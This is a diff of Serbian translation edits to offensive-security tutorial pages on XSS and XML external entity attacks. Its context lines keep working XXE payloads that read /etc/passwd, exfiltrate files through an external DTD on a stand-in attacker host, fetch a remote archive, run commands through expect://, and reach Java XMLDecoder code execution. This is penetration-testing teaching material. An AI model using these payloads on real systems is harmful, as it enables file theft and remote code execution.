||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt
|
||||
{{#endref}}
|
||||
|
||||
### Slepi XSS payloadi
|
||||
|
||||
@ -1490,9 +1492,11 @@ document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
|
||||
```
|
||||
### Lista Brute-Force
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
|
||||
{{#endref}}
|
||||
|
||||
## XSS Iskorišćavanje drugih ranjivosti
|
||||
## XSS Zloupotreba drugih ranjivosti
|
||||
|
||||
### XSS u Markdown-u
|
||||
|
||||
@ -1534,9 +1538,9 @@ Format [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/le
|
||||
|
||||
Primer [**writeup XSS u Amp4Email u Gmail-u**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||||
|
||||
### XSS otpremanje fajlova (svg)
|
||||
### XSS učitavanje fajlova (svg)
|
||||
|
||||
Otpremite kao sliku fajl poput sledećeg (sa [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
|
||||
Učitajte kao sliku fajl poput sledećeg (sa [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
|
||||
```markup
|
||||
Content-Type: multipart/form-data; boundary=---------------------------232181429808
|
||||
Content-Length: 574
|
||||
|
@ -2,7 +2,6 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Osnovi XML-a
|
||||
|
||||
XML je jezik za označavanje dizajniran za skladištenje i prenos podataka, sa fleksibilnom strukturom koja omogućava korišćenje opisno nazvanih oznaka. Razlikuje se od HTML-a po tome što nije ograničen na skup unapred definisanih oznaka. Značaj XML-a je opao sa porastom JSON-a, uprkos njegovoj početnoj ulozi u AJAX tehnologiji.
|
||||
@ -66,7 +65,7 @@ U ovom trećem slučaju primetite da deklariramo `Element stockCheck` kao ANY
|
||||
|
||||
### Listing direktorijuma
|
||||
|
||||
U aplikacijama zasnovanim na **Javi** može biti moguće **prikazati sadržaj direktorijuma** putem XXE sa payload-om kao što je (samo traženje direktorijuma umesto datoteke):
|
||||
U **Java** aplikacijama može biti moguće **izlistati sadržaj direktorijuma** putem XXE sa payload-om kao što je (samo traženje direktorijuma umesto datoteke):
|
||||
```xml
|
||||
<!-- Root / -->
|
||||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
|
||||
@ -92,7 +91,7 @@ Koristeći **prethodno komentarisanu tehniku** možete naterati server da pristu
|
||||
```
|
||||
### "Blind" SSRF - Ekstrakcija podataka van kanala
|
||||
|
||||
**U ovom slučaju ćemo naterati server da učita novu DTD sa zloćudnim payload-om koji će poslati sadržaj datoteke putem HTTP zahteva (za višelinijske datoteke možete pokušati da ih ekstraktujete putem \_ftp://**\_ koristeći ovaj osnovni server na primer [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Ovo objašnjenje se zasniva na** [**Portswigger lab ovde**](https://portswigger.net/web-security/xxe/blind)**.**
|
||||
**U ovom slučaju ćemo naterati server da učita novu DTD sa zloćudnim payload-om koji će poslati sadržaj datoteke putem HTTP zahteva (za višelinijske datoteke možete pokušati da ih ekstraktujete putem \_ftp://**\_ koristeći ovaj osnovni server na primer [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Ovo objašnjenje se zasniva na** [**Portswiggers lab ovde**](https://portswigger.net/web-security/xxe/blind)**.**
|
||||
|
||||
U datoj zloćudnoj DTD, sprovodi se niz koraka za ekstrakciju podataka:
|
||||
|
||||
@ -122,7 +121,7 @@ Napadač hostuje ovaj zlonamerni DTD na serveru pod svojom kontrolom, obično na
|
||||
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
|
||||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||||
```
|
||||
Ovaj payload definiše XML parametarsku entitet `%xxe` i uključuje je unutar DTD-a. Kada je obrađen od strane XML parsera, ovaj payload preuzima eksterni DTD sa napadačeve servera. Parser zatim interpretira DTD inline, izvršavajući korake navedene u zlonamernom DTD-u i dovodeći do eksfiltracije datoteke `/etc/hostname` na napadačev server.
|
||||
Ovaj payload definiše XML parametarsku entitet `%xxe` i uključuje je unutar DTD-a. Kada je obrađen od strane XML parsera, ovaj payload preuzima eksterni DTD sa napadačevog servera. Parser zatim interpretira DTD inline, izvršavajući korake navedene u zlonamernom DTD-u i dovodeći do eksfiltracije datoteke `/etc/hostname` na napadačev server.
|
||||
|
||||
### Greška zasnovana (Eksterni DTD)
|
||||
|
||||
@ -130,8 +129,8 @@ Ovaj payload definiše XML parametarsku entitet `%xxe` i uključuje je unutar DT
|
||||
|
||||
Poruku o grešci prilikom parsiranja XML-a, koja otkriva sadržaj datoteke `/etc/passwd`, moguće je izazvati korišćenjem zlonamernog spoljnog Definicije tipa dokumenta (DTD). To se postiže kroz sledeće korake:
|
||||
|
||||
1. Definisan je XML parametarski entitet nazvan `file`, koji sadrži sadržaj datoteke `/etc/passwd`.
|
||||
2. Definisan je XML parametarski entitet nazvan `eval`, koji uključuje dinamičku deklaraciju za drugi XML parametarski entitet nazvan `error`. Ovaj `error` entitet, kada se evaluira, pokušava da učita nepostojeću datoteku, uključujući sadržaj `file` entiteta kao svoje ime.
|
||||
1. Definisan je XML parametarski entitet pod imenom `file`, koji sadrži sadržaj datoteke `/etc/passwd`.
|
||||
2. Definisan je XML parametarski entitet pod imenom `eval`, koji uključuje dinamičku deklaraciju za drugi XML parametarski entitet pod imenom `error`. Ovaj `error` entitet, kada se evaluira, pokušava da učita nepostojeću datoteku, uključujući sadržaj `file` entiteta kao svoje ime.
|
||||
3. `eval` entitet se poziva, što dovodi do dinamičke deklaracije `error` entiteta.
|
||||
4. Poziv `error` entiteta rezultira pokušajem učitavanja nepostojeće datoteke, proizvodeći poruku o grešci koja uključuje sadržaj datoteke `/etc/passwd` kao deo imena datoteke.
|
||||
|
||||
@ -145,13 +144,13 @@ Upon execution, the web server's response should include an error message displa
|
||||
|
||||
.png>)
|
||||
|
||||
_**Molimo vas da primetite da eksterni DTD omogućava uključivanje jedne entiteta unutar druge (\*\***`eval`\***\*), ali je to zabranjeno u internom DTD. Stoga, ne možete izazvati grešku bez korišćenja eksternog DTD (obično).**_
|
||||
_**Molimo vas da primetite da eksterni DTD omogućava uključivanje jedne entiteta unutar druge (\*\***`eval`\***\*), ali to je zabranjeno u internom DTD. Stoga, ne možete izazvati grešku bez korišćenja eksternog DTD (obično).**_
|
||||
|
||||
### **Greška zasnovana (sistem DTD)**
|
||||
|
||||
Šta je sa slepim XXE ranjivostima kada su **izvan-bande interakcije blokirane** (eksterne konekcije nisu dostupne)?
|
||||
Šta je sa slepim XXE ranjivostima kada su **izvan-bend interakcije blokirane** (eksterne konekcije nisu dostupne)?
|
||||
|
||||
Rupa u specifikaciji XML jezika može **izložiti osetljive podatke kroz poruke o grešci kada DTD dokumenta kombinuje interne i eksterne deklaracije**. Ovaj problem omogućava internu redefiniciju entiteta koji su deklarisani eksterno, olakšavajući izvršenje napada zasnovanih na grešci XXE. Takvi napadi koriste redefiniciju XML parametarskog entiteta, prvobitno deklarisanog u eksternom DTD, iz unutrašnjeg DTD. Kada server blokira izvan-bande konekcije, napadači moraju da se oslanjaju na lokalne DTD datoteke kako bi sproveli napad, sa ciljem da izazovu grešku u parsiranju kako bi otkrili osetljive informacije.
|
||||
Rupa u specifikaciji XML jezika može **izložiti osetljive podatke kroz poruke o grešci kada DTD dokumenta kombinuje interne i eksterne deklaracije**. Ovaj problem omogućava internu redefiniciju entiteta koji su deklarisani eksterno, olakšavajući izvršenje napada zasnovanih na grešci XXE. Takvi napadi koriste redefiniciju XML parametarskog entiteta, prvobitno deklarisanog u eksternom DTD, iz unutrašnjeg DTD. Kada server blokira izvan-bend konekcije, napadači moraju da se oslanjaju na lokalne DTD datoteke kako bi sproveli napad, sa ciljem da izazovu grešku u parsiranju kako bi otkrili osetljive informacije.
|
||||
|
||||
Razmotrite scenario u kojem datotečni sistem servera sadrži DTD datoteku na `/usr/local/app/schema.dtd`, koja definiše entitet nazvan `custom_entity`. Napadač može izazvati grešku u XML parsiranju otkrivajući sadržaj datoteke `/etc/passwd` podnošenjem hibridnog DTD-a na sledeći način:
|
||||
```xml
|
||||
@ -170,7 +169,7 @@ Definisani koraci se izvršavaju ovim DTD-om:
|
||||
|
||||
- Definicija XML parametarskog entiteta nazvanog `local_dtd` uključuje spoljašnji DTD fajl smešten na datotečnom sistemu servera.
|
||||
- Dolazi do redefinicije za `custom_entity` XML parametarski entitet, prvobitno definisan u spoljašnjem DTD-u, kako bi se obuhvatio [XXE exploit zasnovan na grešci](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Ova redefinicija je dizajnirana da izazove grešku prilikom parsiranja, otkrivajući sadržaj fajla `/etc/passwd`.
|
||||
- Korišćenjem entiteta `local_dtd`, aktivira se spoljašnji DTD, obuhvatajući novodefinisani `custom_entity`. Ova sekvenca radnji dovodi do emitovanja poruke o grešci koja je cilj exploita.
|
||||
- Korišćenjem `local_dtd` entiteta, angažuje se spoljašnji DTD, obuhvatajući novodefinisani `custom_entity`. Ova sekvenca radnji dovodi do emitovanja poruke o grešci koja je cilj exploita.
|
||||
|
||||
**Primer iz stvarnog sveta:** Sistemi koji koriste GNOME radno okruženje često imaju DTD na `/usr/share/yelp/dtd/docbookx.dtd` koji sadrži entitet nazvan `ISOamso`.
|
||||
```xml
|
||||
@ -202,9 +201,11 @@ Za više informacija proverite [https://portswigger.net/web-security/xxe/blind](
|
||||
|
||||
U sledećem sjajnom github repozitorijumu možete pronaći **puteve DTD-ova koji mogu biti prisutni u sistemu**:
|
||||
|
||||
{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %}
|
||||
{{#ref}}
|
||||
https://github.com/GoSecure/dtd-finder/tree/master/list
|
||||
{{#endref}}
|
||||
|
||||
Pored toga, ako imate **Docker sliku žrtvinskog sistema**, možete koristiti alat iz istog repozitorijuma da **skenirate** **sliku** i **pronađete** putanju **DTD-ova** prisutnih unutar sistema. Pročitajte [Readme repozitorijuma](https://github.com/GoSecure/dtd-finder) da biste saznali kako.
|
||||
Pored toga, ako imate **Docker sliku žrtvinskog sistema**, možete koristiti alat iz istog repozitorijuma da **skenirate** **sliku** i **pronađete** putanju **DTD-ova** prisutnih unutar sistema. Pročitajte [Readme na github-u](https://github.com/GoSecure/dtd-finder) da biste saznali kako.
|
||||
```bash
|
||||
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
|
||||
|
||||
@ -220,7 +221,7 @@ Testing 0 entities : []
|
||||
|
||||
Za detaljnije objašnjenje ovog napada, **pogledajte drugi deo** [**ovog neverovatnog posta**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **od Detectify**.
|
||||
|
||||
Mogućnost da se **otpremaju Microsoft Office dokumenti nudi mnoge web aplikacije**, koje zatim nastavljaju da izvode određene detalje iz ovih dokumenata. Na primer, web aplikacija može omogućiti korisnicima da uvezu podatke otpremanjem XLSX formata tabele. Da bi parser izvukao podatke iz tabele, neizbežno će morati da analizira barem jedan XML fajl.
|
||||
Mogućnost da se **otpremaju Microsoft Office dokumenti nudi mnoge web aplikacije**, koje zatim nastavljaju da izvlače određene detalje iz ovih dokumenata. Na primer, web aplikacija može omogućiti korisnicima da uvezu podatke otpremanjem XLSX formata tabele. Da bi parser mogao da izvuče podatke iz tabele, neizbežno će morati da parsira barem jedan XML fajl.
|
||||
|
||||
Da bi se testirala ova ranjivost, potrebno je kreirati **Microsoft Office fajl koji sadrži XXE payload**. Prvi korak je da se kreira prazan direktorijum u koji se dokument može raspakovati.
|
||||
|
||||
@ -240,17 +241,17 @@ jar:file:///var/myarchive.zip!/file.txt
|
||||
jar:https://download.host.com/myarchive.zip!/file.txt
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Da biste mogli da pristupite datotekama unutar PKZIP datoteka, to je **izuzetno korisno za zloupotrebu XXE putem sistemskih DTD datoteka.** Proverite [ovu sekciju da biste saznali kako da zloupotrebite sistemske DTD datoteke](xxe-xee-xml-external-entity.md#error-based-system-dtd).
|
||||
> Da biste mogli da pristupite datotekama unutar PKZIP datoteka, to je **izuzetno korisno za zloupotrebu XXE putem sistemskih DTD datoteka.** Pogledajte [ovu sekciju da biste saznali kako da zloupotrebite sistemske DTD datoteke](xxe-xee-xml-external-entity.md#error-based-system-dtd).
|
||||
|
||||
Proces pristupanja datoteci unutar PKZIP arhive putem jar protokola uključuje nekoliko koraka:
|
||||
|
||||
1. HTTP zahtev se šalje za preuzimanje zip arhive sa određene lokacije, kao što je `https://download.website.com/archive.zip`.
|
||||
2. HTTP odgovor koji sadrži arhivu se privremeno čuva na sistemu, obično na lokaciji kao što je `/tmp/...`.
|
||||
3. Arhiva se zatim raspakuje da bi se pristupilo njenom sadržaju.
|
||||
3. Arhiva se zatim ekstrahuje da bi se pristupilo njenom sadržaju.
|
||||
4. Konkretna datoteka unutar arhive, `file.zip`, se čita.
|
||||
5. Nakon operacije, sve privremene datoteke kreirane tokom ovog procesa se brišu.
|
||||
|
||||
Zanimljiva tehnika za prekidanje ovog procesa u drugom koraku uključuje održavanje server konekcije otvorenom neodređeno dok se služi arhivska datoteka. Alati dostupni na [ovoj repozitoriji](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) mogu se koristiti u tu svrhu, uključujući Python server (`slow_http_server.py`) i Java server (`slowserver.jar`).
|
||||
Zanimljiva tehnika za prekidanje ovog procesa u drugom koraku uključuje održavanje server konekcije otvorenom neodređeno dok se služi arhivska datoteka. Alati dostupni u [ovoj biblioteci](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) mogu se koristiti u tu svrhu, uključujući Python server (`slow_http_server.py`) i Java server (`slowserver.jar`).
|
||||
```xml
|
||||
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
|
||||
<foo>&xxe;</foo>
|
||||
@ -305,13 +306,13 @@ i slanjem sledećeg zahteva
|
||||
```
|
||||
Zatim možete pokušati da probijete hash koristeći hashcat
|
||||
|
||||
## Sakriveni XXE Površine
|
||||
## Sakriveni XXE Površinski
|
||||
|
||||
### XInclude
|
||||
|
||||
Kada se integrišu podaci klijenta u XML dokumente na serverskoj strani, poput onih u backend SOAP zahtevima, direktna kontrola nad XML strukturom je često ograničena, što otežava tradicionalne XXE napade zbog ograničenja u modifikaciji `DOCTYPE` elementa. Međutim, `XInclude` napad pruža rešenje omogućavajući umetanje eksternih entiteta unutar bilo kog podatkovnog elementa XML dokumenta. Ova metoda je efikasna čak i kada se može kontrolisati samo deo podataka unutar XML dokumenta generisanog na serveru.
|
||||
Kada se integrišu podaci klijenta u XML dokumente na serverskoj strani, poput onih u backend SOAP zahtevima, direktna kontrola nad XML strukturom je često ograničena, što otežava tradicionalne XXE napade zbog ograničenja u modifikaciji `DOCTYPE` elementa. Međutim, `XInclude` napad pruža rešenje omogućavajući umetanje spoljašnjih entiteta unutar bilo kog podatkovnog elementa XML dokumenta. Ova metoda je efikasna čak i kada se može kontrolisati samo deo podataka unutar XML dokumenta generisanog na serveru.
|
||||
|
||||
Da bi se izvršio `XInclude` napad, potrebno je deklarisati `XInclude` prostor imena, a putanja do datoteke za željeni eksterni entitet mora biti specificirana. Ispod je sažet primer kako se takav napad može formulisati:
|
||||
Da bi se izvršio `XInclude` napad, potrebno je deklarisati `XInclude` prostor imena i navesti putanju do datoteke za željeni spoljašnji entitet. Ispod je sažet primer kako se takav napad može formulisati:
|
||||
```xml
|
||||
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
|
||||
```
|
||||
@ -319,11 +320,11 @@ Proverite [https://portswigger.net/web-security/xxe](https://portswigger.net/web
|
||||
|
||||
### SVG - Upload fajlova
|
||||
|
||||
Fajlovi koje korisnici otpremaju u određene aplikacije, a koji se zatim obrađuju na serveru, mogu iskoristiti ranjivosti u načinu na koji se obrađuju XML ili formati fajlova koji sadrže XML. Uobičajeni formati fajlova kao što su kancelarijski dokumenti (DOCX) i slike (SVG) zasnovani su na XML-u.
|
||||
Fajlovi koje korisnici otpremaju u određene aplikacije, koji se zatim obrađuju na serveru, mogu iskoristiti ranjivosti u načinu na koji se obrađuju XML ili formati fajlova koji sadrže XML. Uobičajeni formati fajlova kao što su kancelarijski dokumenti (DOCX) i slike (SVG) zasnovani su na XML-u.
|
||||
|
||||
Kada korisnici **otpremaju slike**, te slike se obrađuju ili validiraju na strani servera. Čak i za aplikacije koje očekuju formate kao što su PNG ili JPEG, **biblioteka za obradu slika na serveru može takođe podržavati SVG slike**. SVG, kao format zasnovan na XML-u, može biti iskorišćen od strane napadača za slanje malicioznih SVG slika, čime se server izlaže XXE (XML External Entity) ranjivostima.
|
||||
Kada korisnici **otpremaju slike**, te slike se obrađuju ili validiraju na strani servera. Čak i za aplikacije koje očekuju formate kao što su PNG ili JPEG, **biblioteka za obradu slika na serveru može takođe podržavati SVG slike**. SVG, kao format zasnovan na XML-u, može biti iskorišćen od strane napadača da pošalje zlonamerne SVG slike, čime se server izlaže XXE (XML External Entity) ranjivostima.
|
||||
|
||||
Primer takvog eksploata je prikazan ispod, gde maliciozna SVG slika pokušava da pročita sistemske fajlove:
|
||||
Primer takvog eksploata je prikazan ispod, gde zlonamerna SVG slika pokušava da pročita sistemske fajlove:
|
||||
```xml
|
||||
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
|
||||
```
|
||||
@ -333,15 +334,15 @@ Druga metoda uključuje pokušaj **izvršavanja komandi** putem PHP "expect" wra
|
||||
<image xlink:href="expect://ls"></image>
|
||||
</svg>
|
||||
```
|
||||
U oba slučaja, SVG format se koristi za pokretanje napada koji iskorišćavaju XML procesne mogućnosti softvera servera, ističući potrebu za robusnom validacijom ulaza i bezbednosnim merama.
|
||||
U oba slučaja, SVG format se koristi za pokretanje napada koji koriste XML procesne mogućnosti softvera servera, ističući potrebu za robusnom validacijom ulaza i bezbednosnim merama.
|
||||
|
||||
Proverite [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) za više informacija!
|
||||
|
||||
**Napomena: prva linija pročitanog fajla ili rezultata izvršenja će se pojaviti UNUTAR kreirane slike. Tako da treba da imate pristup slici koju je SVG kreirao.**
|
||||
**Napomena: prva linija pročitanog fajla ili rezultata izvršenja će se pojaviti UNUTAR kreirane slike. Dakle, morate biti u mogućnosti da pristupite slici koju je SVG kreirao.**
|
||||
|
||||
### **PDF - Učitavanje fajla**
|
||||
### **PDF - Upload fajla**
|
||||
|
||||
Pročitajte sledeći post da **naučite kako da iskoristite XXE učitavanjem PDF** fajla:
|
||||
Pročitajte sledeći post da **naučite kako da iskoristite XXE za upload PDF** fajla:
|
||||
|
||||
{{#ref}}
|
||||
file-upload/pdf-upload-xxe-and-cors-bypass.md
|
||||
@ -357,7 +358,7 @@ Content-Length: 7
|
||||
|
||||
foo=bar
|
||||
```
|
||||
Tada možda možete poslati sledeći zahtev, sa istim rezultatom:
|
||||
Tada možete poslati sledeći zahtev, sa istim rezultatom:
|
||||
```xml
|
||||
POST /action HTTP/1.0
|
||||
Content-Type: text/xml
|
||||
@ -407,7 +408,7 @@ Ovo funkcioniše samo ako XML server prihvata `data://` protokol.
|
||||
|
||||
### UTF-7
|
||||
|
||||
Možete koristiti \[**"Encode Recipe**" of cyberchef ovde ]\(\[[https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) transformiše u UTF-7.
|
||||
Možete koristiti \[**"Encode Recipe**" od cyberchef ovde ]\(\[[https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) transformiše u UTF-7.
|
||||
```xml
|
||||
<!xml version="1.0" encoding="UTF-7"?-->
|
||||
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
|
||||
@ -475,7 +476,7 @@ DTD пример:
|
||||
|
||||
Ovaj primer je inspirisan u [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)
|
||||
|
||||
XLIFF (XML Localization Interchange File Format) se koristi za standardizaciju razmene podataka u procesima lokalizacije. To je format zasnovan na XML-u koji se prvenstveno koristi za prenos lokalizovanih podataka među alatima tokom lokalizacije i kao zajednički format razmene za CAT (Computer-Aided Translation) alate.
|
||||
XLIFF (XML Localization Interchange File Format) se koristi za standardizaciju razmene podataka u procesima lokalizacije. To je XML-bazirani format koji se prvenstveno koristi za prenos lokalizovanih podataka među alatima tokom lokalizacije i kao zajednički format razmene za CAT (Computer-Aided Translation) alate.
|
||||
|
||||
### Blind Request Analysis
|
||||
|
||||
@ -491,7 +492,7 @@ Content-Type: application/x-xliff+xml
|
||||
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
|
||||
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
|
||||
```
|
||||
Međutim, ovaj zahtev izaziva grešku na internom serveru, posebno pominjući problem sa deklaracijama markup-a:
|
||||
Međutim, ovaj zahtev izaziva grešku unutrašnjeg servera, posebno pominjući problem sa deklaracijama markup-a:
|
||||
```json
|
||||
{
|
||||
"status": 500,
|
||||
@ -513,16 +514,16 @@ Content-Type: application/x-xliff+xml
|
||||
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
|
||||
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
|
||||
```
|
||||
Ovaj pristup otkriva da User Agent ukazuje na korišćenje Java 1.8. Zapaženo ograničenje ove verzije Jave je nemogućnost preuzimanja fajlova koji sadrže karakter novog reda, kao što je /etc/passwd, koristeći Out of Band tehniku.
|
||||
Ovaj pristup otkriva da User Agent ukazuje na korišćenje Java 1.8. Zapaženo ograničenje ove verzije Jave je nemogućnost preuzimanja datoteka koje sadrže karakter novog reda, kao što je /etc/passwd, koristeći Out of Band tehniku.
|
||||
|
||||
Izvlačenje podataka zasnovano na grešci Da bi se prevazišlo ovo ograničenje, koristi se pristup zasnovan na grešci. DTD fajl je strukturiran na sledeći način da izazove grešku koja uključuje podatke iz ciljnog fajla:
|
||||
Error-Based Data Exfiltration Da bi se prevazišlo ovo ograničenje, koristi se pristup zasnovan na grešci. DTD datoteka je strukturirana na sledeći način da izazove grešku koja uključuje podatke iz ciljne datoteke:
|
||||
```xml
|
||||
<!ENTITY % data SYSTEM "file:///etc/passwd">
|
||||
<!ENTITY % foo "<!ENTITY % xxe SYSTEM 'file:///nofile/'>">
|
||||
%foo;
|
||||
%xxe;
|
||||
```
|
||||
Server odgovara greškom, što je važno jer odražava nepostojeći fajl, ukazujući da server pokušava da pristupi navedenom fajlu:
|
||||
Server odgovara greškom, što važno odražava nepostojeći fajl, ukazujući da server pokušava da pristupi specificiranom fajlu:
|
||||
```javascript
|
||||
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
|
||||
```
|
||||
@ -533,11 +534,11 @@ Da biste uključili sadržaj datoteke u poruku o grešci, DTD datoteka se prilag
|
||||
%foo;
|
||||
%xxe;
|
||||
```
|
||||
Ova modifikacija dovodi do uspešne eksfiltracije sadržaja datoteke, jer se odražava u izlazu greške poslatom putem HTTP-a. To ukazuje na uspešan XXE (XML External Entity) napad, koristeći kako Out of Band tako i Error-Based tehnike za ekstrakciju osetljivih informacija.
|
||||
Ova modifikacija dovodi do uspešne eksfiltracije sadržaja datoteke, jer se odražava u izlazu greške poslatom putem HTTP-a. To ukazuje na uspešan XXE (XML External Entity) napad, koristeći tehnike Out of Band i Error-Based za ekstrakciju osetljivih informacija.
|
||||
|
||||
## RSS - XEE
|
||||
|
||||
Validan XML u RSS formatu za iskorišćavanje XXE ranjivosti.
|
||||
Validan XML sa RSS formatom za iskorišćavanje XXE ranjivosti.
|
||||
|
||||
### Ping back
|
||||
|
||||
@ -608,7 +609,7 @@ Korišćenje PHP base64 filtera
|
||||
```
|
||||
## Java XMLDecoder XEE do RCE
|
||||
|
||||
XMLDecoder je Java klasa koja kreira objekte na osnovu XML poruke. Ako zlonameran korisnik može da natera aplikaciju da koristi proizvoljne podatke u pozivu metodi **readObject**, odmah će dobiti izvršavanje koda na serveru.
|
||||
XMLDecoder je Java klasa koja kreira objekte na osnovu XML poruke. Ako zlonameran korisnik može da natera aplikaciju da koristi proizvoljne podatke u pozivu metodi **readObject**, odmah će dobiti izvršenje koda na serveru.
|
||||
|
||||
### Korišćenje Runtime().exec()
|
||||
```xml
|
||||
@ -672,18 +673,19 @@ XMLDecoder je Java klasa koja kreira objekte na osnovu XML poruke. Ako zlonamera
|
||||
```
|
||||
## Alati
|
||||
|
||||
{% embed url="https://github.com/luisfontes19/xxexploiter" %}
|
||||
{{#ref}}
|
||||
https://github.com/luisfontes19/xxexploiter
|
||||
{{#endref}}
|
||||
|
||||
## Reference
|
||||
|
||||
- [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)\\
|
||||
- [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)\\
|
||||
- Izvuci informacije putem HTTP koristeći svoj spoljašnji DTD: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\\
|
||||
- Izvuci informacije putem HTTP koristeći svoj eksterni DTD: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\\
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)\\
